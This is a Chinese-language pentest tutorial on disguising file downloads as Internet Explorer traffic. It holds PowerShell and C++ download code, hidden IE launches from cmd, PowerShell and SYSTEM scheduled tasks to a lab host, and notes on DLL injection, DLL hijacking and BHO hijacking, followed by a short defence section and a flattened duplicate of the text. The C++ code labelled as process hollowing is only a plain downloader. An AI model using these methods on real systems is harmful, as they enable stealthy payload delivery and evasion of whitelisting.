渗透技巧——模拟IE浏览器下载文件
字数 1790 2025-08-29 08:32:01

模拟IE浏览器下载文件的渗透技巧详解

0x00 前言

本文详细介绍了Windows系统下模拟IE浏览器实现文件下载的各种方法。这些技术不仅能够绕过白名单程序的拦截,还能在一定程度上隐藏下载行为。我们将从利用角度出发,全面分析各种实现方式,并总结相应的防御思路。

0x01 技术分类

模拟IE浏览器下载文件的方法可分为两大类:

  1. 主动模式:通过命令主动实现文件下载

    • 当前后台无IE进程
    • 当前后台有IE进程
  2. 被动模式:劫持用户行为,在用户打开IE时实现文件下载

0x02 主动模式实现方法

1. 后台无IE进程时的实现方式

a) 调用IE COM对象

通过COM对象InternetExplorer.Application实现文件下载,后台进程为iexplore.exe。

PowerShell实现代码

$ie_com = New-Object -ComObject InternetExplorer.Application
$ie_com.Silent = $True
$ie_com.Visible = $False
$Headers = "Host: <SNIP>.cloudfront.net`r`n"
$ie_com.Navigate2("http://192.168.62.131/index.html", 14, 0, $Null, $Headers)
while($ie_com.busy -eq $true) { Start-Sleep -Milliseconds 100 }
$html = $ie_com.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie_com.document, $Null).InnerHtml
$html
$ie_com.Quit()

注意事项

  • 若IE从未运行过,执行以上代码会弹框提示
  • 该技术还有CS、JS和VBS的实现版本

b) Process Hollowing

创建傀儡进程iexplore.exe,传入参数CREATE_SUSPENDED使进程挂起,清空进程内存数据,写入payload后恢复执行。

C++实现代码

#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#define MAXBLOCKSIZE 1024
#pragma comment( lib, "wininet.lib" );

void download(const char *Url,const char *save_as) {
    byte Temp[MAXBLOCKSIZE];
    ULONG Number = 1;
    FILE *stream;
    HINTERNET hSession = InternetOpen((LPCSTR)"RookIE/1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (hSession != NULL) {
        HINTERNET handle2 = InternetOpenUrl(hSession, (LPCSTR)Url, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
        if (handle2 != NULL) {
            fopen_s(&stream, save_as, "wb");
            while (Number > 0) {
                InternetReadFile(handle2, Temp, MAXBLOCKSIZE - 1, &Number);
                fwrite(Temp, sizeof(char), Number, stream);
            }
            fclose(stream);
            InternetCloseHandle(handle2);
            handle2 = NULL;
        }
        InternetCloseHandle(hSession);
        hSession = NULL;
    }
}

int main(int argc, char* argv[]) {
    download("https://github.com/3gstudent/test/raw/master/putty.exe","c:\\test\\putty.exe");
    return 0;
}

c) Process Doppelganging

类似于Process Hollowing,但使用transaction技术:

  1. 打开正常文件并创建transaction
  2. 在transaction内填入payload
  3. 启动payload进程
  4. 回滚transaction

注意事项

  • 需要对正常文件进行写入操作
  • 对iexplore.exe利用需要Trusted Installer权限

d) 隐蔽启动IE访问特定网址

方法1:cmd启动IE

start "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/evil-kiwi.png

可通过ShowWindowAsyncAPI隐藏IE界面,PowerShell脚本参考:HiddenProcess.ps1

方法2:PowerShell启动IE

powershell -executionpolicy bypass -Command "Start-Process -FilePath \"C:\Program Files\Internet Explorer\iexplore.exe\" -ArgumentList http://192.168.62.131/evil-kiwi.png -WindowStyle Hidden"

缓存文件位置

  • Win7: %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
  • Win8/Win10: %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

查找缓存文件

dir %LOCALAPPDATA%\*evil-kiwi*.png /s /b

历史记录位置
%LOCALAPPDATA%\Microsoft\Windows\History\

方法3:计划任务启动IE

at 6:34 "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/evil-kiwi.png

schtasks /create /RU SYSTEM /RP "" /SC ONCE /TN test1 /TR "C:\Program Files\Internet Explorer\iexplore.exe http://192.168.62.131/evil-kiwi.png" /ST 06:34 /F

系统级缓存位置
%windir%\System32\config\systemprofile\AppData\Local\Microsoft\Windows\

方法4:创建服务启动IE

sc create Test1 type= own binpath= "C:\Program Files\Internet Explorer\iexplore.exe"
sc start test1

注:iexplorer.exe不支持与SCM交互,需要其他方式创建服务

e) 隐蔽启动IE进行DLL注入

隐蔽启动IE后,使用APC或Atombombing技术进行DLL注入。

APC注入参考Inject-dll-by-APC

Atombombing参考:AtomBombing利用分析

2. 后台有IE进程时的实现方式

a) DLL注入(APC、Atombombing)

方法与上述相同,针对已存在的IE进程进行DLL注入。

0x03 被动模式实现方法

a) DLL劫持

实例:C:\Program Files\Internet Explorer\IEShims.dll

开发工具exportstoc

注意事项

  • 保留原DLL功能
  • 需要做互斥处理避免多次启动

b) BHO劫持

利用Browser Helper Object劫持IE浏览器,在页面打开时实现文件下载。

参考:《利用BHO实现IE浏览器劫持》

0x04 防御思路

针对各种攻击方法的防御措施:

  1. 监控iexplore.exe的父进程:检测异常父进程关系
  2. DLL注入检测:监控敏感API调用
  3. DLL劫持防护:校验DLL签名和完整性
  4. BHO防护:监控注册表变更
  5. 进程行为分析:检测异常IE进程行为
  6. 网络流量监控:检测异常下载行为

0x05 总结

本文全面介绍了模拟IE浏览器下载文件的各种技术手段,包括主动和被动两种模式,涵盖了COM对象调用、进程注入、DLL劫持等多种技术。防御方应建立多层次的防护体系,从进程监控、API调用检测、注册表保护等多方面进行防护。

模拟IE浏览器下载文件的渗透技巧详解 0x00 前言 本文详细介绍了Windows系统下模拟IE浏览器实现文件下载的各种方法。这些技术不仅能够绕过白名单程序的拦截,还能在一定程度上隐藏下载行为。我们将从利用角度出发,全面分析各种实现方式,并总结相应的防御思路。 0x01 技术分类 模拟IE浏览器下载文件的方法可分为两大类: 主动模式 :通过命令主动实现文件下载 当前后台无IE进程 当前后台有IE进程 被动模式 :劫持用户行为,在用户打开IE时实现文件下载 0x02 主动模式实现方法 1. 后台无IE进程时的实现方式 a) 调用IE COM对象 通过COM对象 InternetExplorer.Application 实现文件下载,后台进程为iexplore.exe。 PowerShell实现代码 : 注意事项 : 若IE从未运行过,执行以上代码会弹框提示 该技术还有CS、JS和VBS的实现版本 b) Process Hollowing 创建傀儡进程iexplore.exe,传入参数 CREATE_SUSPENDED 使进程挂起,清空进程内存数据,写入payload后恢复执行。 C++实现代码 : c) Process Doppelganging 类似于Process Hollowing,但使用transaction技术: 打开正常文件并创建transaction 在transaction内填入payload 启动payload进程 回滚transaction 注意事项 : 需要对正常文件进行写入操作 对iexplore.exe利用需要Trusted Installer权限 d) 隐蔽启动IE访问特定网址 方法1:cmd启动IE 可通过 ShowWindowAsync API隐藏IE界面,PowerShell脚本参考: HiddenProcess.ps1 方法2:PowerShell启动IE 缓存文件位置 : Win7: %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files Win8/Win10: %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE 查找缓存文件 : 历史记录位置 : %LOCALAPPDATA%\Microsoft\Windows\History\ 方法3:计划任务启动IE 或 系统级缓存位置 : %windir%\System32\config\systemprofile\AppData\Local\Microsoft\Windows\ 方法4:创建服务启动IE 注:iexplorer.exe不支持与SCM交互,需要其他方式创建服务 e) 隐蔽启动IE进行DLL注入 隐蔽启动IE后,使用APC或Atombombing技术进行DLL注入。 APC注入参考 : Inject-dll-by-APC Atombombing参考 :AtomBombing利用分析 2. 后台有IE进程时的实现方式 a) DLL注入(APC、Atombombing) 方法与上述相同,针对已存在的IE进程进行DLL注入。 0x03 被动模式实现方法 a) DLL劫持 实例: C:\Program Files\Internet Explorer\IEShims.dll 开发工具 : exportstoc 注意事项 : 保留原DLL功能 需要做互斥处理避免多次启动 b) BHO劫持 利用Browser Helper Object劫持IE浏览器,在页面打开时实现文件下载。 参考 :《利用BHO实现IE浏览器劫持》 0x04 防御思路 针对各种攻击方法的防御措施: 监控iexplore.exe的父进程 :检测异常父进程关系 DLL注入检测 :监控敏感API调用 DLL劫持防护 :校验DLL签名和完整性 BHO防护 :监控注册表变更 进程行为分析 :检测异常IE进程行为 网络流量监控 :检测异常下载行为 0x05 总结 本文全面介绍了模拟IE浏览器下载文件的各种技术手段,包括主动和被动两种模式,涵盖了COM对象调用、进程注入、DLL劫持等多种技术。防御方应建立多层次的防护体系,从进程监控、API调用检测、注册表保护等多方面进行防护。